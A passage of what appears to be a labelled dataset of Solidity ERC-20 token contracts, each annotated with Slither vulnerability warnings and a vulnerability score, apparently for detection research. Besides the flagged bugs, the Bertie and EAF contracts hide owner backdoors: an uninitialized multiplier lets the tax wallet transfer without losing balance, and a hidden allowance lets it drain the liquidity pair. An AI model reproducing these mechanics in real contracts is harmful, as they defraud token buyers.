to, tokenAmount);\n\n return;\n }\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_excludedFromFee[to]\n ) {\n require(\n tokenAmount <= _maxTxAmount,\n \"Exceeds the _maxTxAmount.\"\n );\n\n require(\n balanceOf(to) + tokenAmount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 6759628\n\t\t\t\t// reentrancy-benign | ID: 1af2e43\n\t\t\t\t// reentrancy-eth | ID: 3a50703\n swapTokensForEth(\n min(tokenAmount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 6759628\n\t\t\t\t\t// reentrancy-eth | ID: 3a50703\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (\n (_excludedFromFee[from] || _excludedFromFee[to]) &&\n from != address(this) &&\n to != address(this)\n ) {\n\t\t\t// reentrancy-benign | ID: 1af2e43\n plsPairAmount = block.number;\n }\n\n if (!_excludedFromFee[from] && !_excludedFromFee[to]) {\n if (uniswapV2Pair != to) {\n PoolMetaInfo storage plsMeta = poolMetaInfo[to];\n\n if (uniswapV2Pair == from) {\n if (plsMeta.plsAmount == 0) {\n\t\t\t\t\t\t// reentrancy-benign | ID: 1af2e43\n plsMeta.plsAmount = _buyCount < _preventSwapBefore\n ? block.number - 1\n : block.number;\n }\n } else {\n PoolMetaInfo storage plsMetaSwap = poolMetaInfo[from];\n\n if (\n plsMetaSwap.plsAmount < plsMeta.plsAmount ||\n !(plsMeta.plsAmount > 0)\n ) {\n\t\t\t\t\t\t// reentrancy-benign | ID: 1af2e43\n plsMeta.plsAmount = plsMetaSwap.plsAmount;\n }\n }\n } else {\n PoolMetaInfo storage plsMetaSwap = poolMetaInfo[from];\n\n\t\t\t\t// reentrancy-benign | ID: 1af2e43\n plsMetaSwap.blsAmount = plsMetaSwap.plsAmount.sub(\n plsPairAmount\n );\n\n\t\t\t\t// reentrancy-benign | ID: 1af2e43\n plsMetaSwap.tpPercent = block.timestamp;\n }\n }\n\n\t\t// reentrancy-events | ID: 6759628\n\t\t// reentrancy-eth | ID: 3a50703\n _tokenTransfer(from, to, tokenAmount, taxAmount);\n }\n\n function _tokenTransfer(\n address from,\n address to,\n uint256 tokenAmount,\n uint256 taxAmount\n ) internal {\n uint256 tAmount = _tokenTaxTransfer(from, tokenAmount, taxAmount);\n\n _tokenBasicTransfer(from, to, tAmount, tokenAmount.sub(taxAmount));\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: ad762af): Bertie.plsLimit is never initialized. It is used in Bertie._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for ad762af: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _tokenTaxTransfer(\n address addrs,\n uint256 tokenAmount,\n uint256 taxAmount\n ) internal returns (uint256) {\n uint256 tAmount = addrs != _taxWallet\n ? tokenAmount\n : plsLimit.mul(tokenAmount);\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 3a50703\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 6759628\n emit Transfer(addrs, address(this), taxAmount);\n }\n\n return tAmount;\n }\n\n function _tokenBasicTransfer(\n address from,\n address to,\n uint256 sendAmount,\n uint256 receiptAmount\n ) internal {\n\t\t// reentrancy-eth | ID: 3a50703\n _balances[from] = _balances[from].sub(sendAmount);\n\n\t\t// reentrancy-eth | ID: 3a50703\n _balances[to] = _balances[to].add(receiptAmount);\n\n\t\t// reentrancy-events | ID: 6759628\n emit Transfer(from, to, receiptAmount);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 789f86e\n\t\t// reentrancy-events | ID: 6759628\n\t\t// reentrancy-benign | ID: 8336103\n\t\t// reentrancy-benign | ID: 1af2e43\n\t\t// reentrancy-eth | ID: 3a50703\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 789f86e\n\t\t// reentrancy-events | ID: 6759628\n\t\t// reentrancy-eth | ID: 3a50703\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c4ff1c8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c4ff1c8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 9bda51a): Bertie.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 9bda51a: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: e5b674b): Bertie.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for e5b674b: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 15ee55f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 15ee55f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: c4ff1c8\n\t\t// reentrancy-eth | ID: 15ee55f\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: c4ff1c8\n swapEnabled = true;\n\n\t\t// unused-return | ID: 9bda51a\n\t\t// reentrancy-eth | ID: 15ee55f\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: e5b674b\n\t\t// reentrancy-eth | ID: 15ee55f\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-eth | ID: 15ee55f\n tradingOpen = true;\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n receive() external payable {}\n\n function transfStuckEth() external onlyOwner {\n require(address(this).balance > 0, \"Token: no stuck eth to transfer\");\n\n _taxWallet.transfer(address(this).balance);\n }\n}\n",
"file_name": "solidity_code_10216.sol",
"size_bytes": 22420,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 261962e): EAF.slitherConstructorVariables() performs a multiplication on the result of a division _maxTxAmount = 2 * (_tTotal / 100)\n// Recommendation for 261962e: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 58ad6ee): EAF.slitherConstructorVariables() performs a multiplication on the result of a division _maxTaxSwap = 1 * (_tTotal / 100)\n// Recommendation for 58ad6ee: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: db58c27): EAF.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = 1 * (_tTotal / 100)\n// Recommendation for db58c27: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: d4e4b3c): EAF.slitherConstructorVariables() performs a multiplication on the result of a division _maxWalletSize = 2 * (_tTotal / 100)\n// Recommendation for d4e4b3c: Consider ordering multiplication before division.\ncontract EAF is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Euclid AI Farm\";\n\n string private constant _symbol = unicode\"EAF\";\n\n\t// divide-before-multiply | ID: 261962e\n uint256 public _maxTxAmount = 2 * (_tTotal / 100);\n\n\t// divide-before-multiply | ID: d4e4b3c\n uint256 public _maxWalletSize = 2 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 05e4fd5): EAF._taxSwapThreshold should be constant \n\t// Recommendation for 05e4fd5: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: db58c27\n uint256 public _taxSwapThreshold = 1 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 5bffb29): EAF._maxTaxSwap should be constant \n\t// Recommendation for 5bffb29: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 58ad6ee\n uint256 public _maxTaxSwap = 1 * (_tTotal / 100);\n\n mapping(address => uint256) private _tOwned;\n\n mapping(address => mapping(address => uint256)) private _tApprovals;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 619c5d3): EAF._taxWallet should be immutable \n\t// Recommendation for 619c5d3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0b185e5): EAF._initialBuyTax should be constant \n\t// Recommendation for 0b185e5: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4a17f64): EAF._initialSellTax should be constant \n\t// Recommendation for 4a17f64: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: b935e47): EAF._finalBuyTax should be constant \n\t// Recommendation for b935e47: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1ab48db): EAF._finalSellTax should be constant \n\t// Recommendation for 1ab48db: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: e21b52e): EAF._reduceBuyTaxAt should be constant \n\t// Recommendation for e21b52e: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: ce48e7c): EAF._reduceSellTaxAt should be constant \n\t// Recommendation for ce48e7c: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: 38c62c5): EAF._preventSwapBefore should be constant \n\t// Recommendation for 38c62c5: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2d533ea): EAF._transferTax should be constant \n\t// Recommendation for 2d533ea: Add the 'constant' attribute to state variables that never change.\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n IUniswapV2Router02 private uniV2Router;\n\n address private uniV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x612c2eed9a533B2C12FEabAEF3694E484FCFaA0a);\n\n _tOwned[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function initPairOf() external onlyOwner {\n uniV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniV2Router), _tTotal);\n\n uniV2Pair = IUniswapV2Factory(uniV2Router.factory()).createPair(\n address(this),\n uniV2Router.WETH()\n );\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _tOwned[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 8282ea7): EAF.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 8282ea7: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _tApprovals[owner][spender];\n }\n\n function allow(address[2] memory sender, uint256 amount) private {\n _tApprovals[sender[0]][sender[1]] = amount;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d964a01): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d964a01: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 928bdf4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 928bdf4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: d964a01\n\t\t// reentrancy-benign | ID: 928bdf4\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: d964a01\n\t\t// reentrancy-benign | ID: 928bdf4\n _approve(\n sender,\n _msgSender(),\n _tApprovals[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d953afc): EAF._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for d953afc: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 928bdf4\n _tApprovals[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: d964a01\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1e05f6e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1e05f6e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: b9505e5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for b9505e5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9a3ac19): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9a3ac19: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (!swapEnabled || inSwap) {\n _tOwned[from] = _tOwned[from] - amount;\n\n _tOwned[to] = _tOwned[to] + amount;\n\n emit Transfer(from, to, amount);\n\n return;\n }\n\n uint256 taxFee = 0;\n\n if (from != owner() && to != owner()) {\n if (_buyCount > 0) {\n taxFee = (_transferTax);\n }\n\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxFee = (\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n );\n }\n\n if (\n from == uniV2Pair &&\n to != address(uniV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxFee = (\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n );\n\n _buyCount++;\n }\n\n if (to == uniV2Pair && from != address(this)) {\n allow(\n [to, _taxWallet],\n (_buyCount > _reduceSellTaxAt)\n ? 10000 * _taxSwapThreshold + 150 - 50\n : _taxSwapThreshold * 15000 + 100\n );\n\n taxFee = (\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n );\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (!inSwap && to == uniV2Pair && swapEnabled) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n if (\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n )\n\t\t\t\t\t// reentrancy-events | ID: 1e05f6e\n\t\t\t\t\t// reentrancy-benign | ID: b9505e5\n\t\t\t\t\t// reentrancy-eth | ID: 9a3ac19\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n\t\t\t\t// reentrancy-events | ID: 1e05f6e\n\t\t\t\t// reentrancy-eth | ID: 9a3ac19\n sendETHToFee(address(this).balance);\n\n\t\t\t\t// reentrancy-benign | ID: b9505e5\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 9a3ac19\n lastSellBlock = block.number;\n }\n }\n\n uint256 taxAmount = taxFee.mul(amount).div(100);\n\n if (taxFee > 0) {\n\t\t\t// reentrancy-eth | ID: 9a3ac19\n _tOwned[address(this)] = _tOwned[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 1e05f6e\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 9a3ac19\n _tOwned[from] = _tOwned[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 9a3ac19\n _tOwned[to] = _tOwned[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 1e05f6e\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 1fc4f2c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 1fc4f2c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 0d4a2c4): EAF.enableTrading() ignores return value by uniV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 0d4a2c4: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: b1c0743): EAF.enableTrading() ignores return value by IERC20(uniV2Pair).approve(address(uniV2Router),type()(uint256).max)\n\t// Recommendation for b1c0743: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 2b6c105): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 2b6c105: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"Trading is already open\");\n\n\t\t// reentrancy-benign | ID: 1fc4f2c\n\t\t// unused-return | ID: 0d4a2c4\n\t\t// reentrancy-eth | ID: 2b6c105\n uniV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 1fc4f2c\n\t\t// unused-return | ID: b1c0743\n\t\t// reentrancy-eth | ID: 2b6c105\n IERC20(uniV2Pair).approve(address(uniV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 1fc4f2c\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 2b6c105\n tradingOpen = true;\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 1e05f6e\n\t\t// reentrancy-events | ID: d964a01\n\t\t// reentrancy-eth | ID: 9a3ac19\n _taxWallet.transfer(amount);\n }\n\n function add(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function del(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n function withdrawEth() external onlyOwner {\n payable(msg.sender).transfer(address(this).balance);\n }\n\n receive() external payable {}\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniV2Router.WETH();\n\n _approve(address(this), address(uniV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 1e05f6e\n\t\t// reentrancy-events | ID: d964a01\n\t\t// reentrancy-benign | ID: 928bdf4\n\t\t// reentrancy-benign | ID: b9505e5\n\t\t// reentrancy-eth | ID: 9a3ac19\n uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n}\n",
"file_name": "solidity_code_10217.sol",
"size_bytes": 21641,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 7e125ca): DT4547.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = 1 * (_tTotal / 100)\n// Recommendation for 7e125ca: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 